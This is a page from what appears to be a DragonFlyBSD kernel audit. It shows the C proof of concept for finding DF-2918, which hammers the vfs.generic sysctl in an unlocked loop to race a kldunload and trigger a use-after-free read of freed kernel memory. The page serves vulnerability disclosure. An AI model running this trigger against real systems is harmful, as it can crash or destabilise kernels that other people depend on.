DragonFlyBSD Kernel Audit
DF-2918 / sysctlloop.c
← back to finding ↓ download raw
/*
 * DF-2918 PoC - unprivileged reader side.
 *
 * Hammers the vfs.generic.0 (VFS_VFSCONF / ovfsconf) enumeration sysctl,
 * which iterates vfsconf_list via vfsconf_each() with no lock
 * (sys/kern/vfs_subr.c:1878 -> sys/kern/vfs_init.c:296-308).
 * A concurrent kldunload that unregisters+frees a vfsconf can pull a node
 * out from under this iteration -> UAF read of freed module memory.
 *
 * usage: sysctlloop   (any user)
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
	char buf[4096];
	size_t len;
	long i, ok = 0, fail = 0;

	for (i = 0;;i++) {
		int mib[4];
		size_t miblen = 4;

		if (sysctlnametomib("vfs.generic", mib, &miblen) == 0) {
			len = sizeof(buf);
			if (sysctl(mib, miblen, buf, &len, NULL, 0) == 0)
				ok++;
			else
				fail++;
		} else {
			fail++;
		}
		if ((i % 1000000) == 0) {
			printf("pid=%d iter=%ld ok=%ld fail=%ld\n",
			       getpid(), i, ok, fail);
			fflush(stdout);
		}
	}
	/* NOTREACHED */
	return (0);
}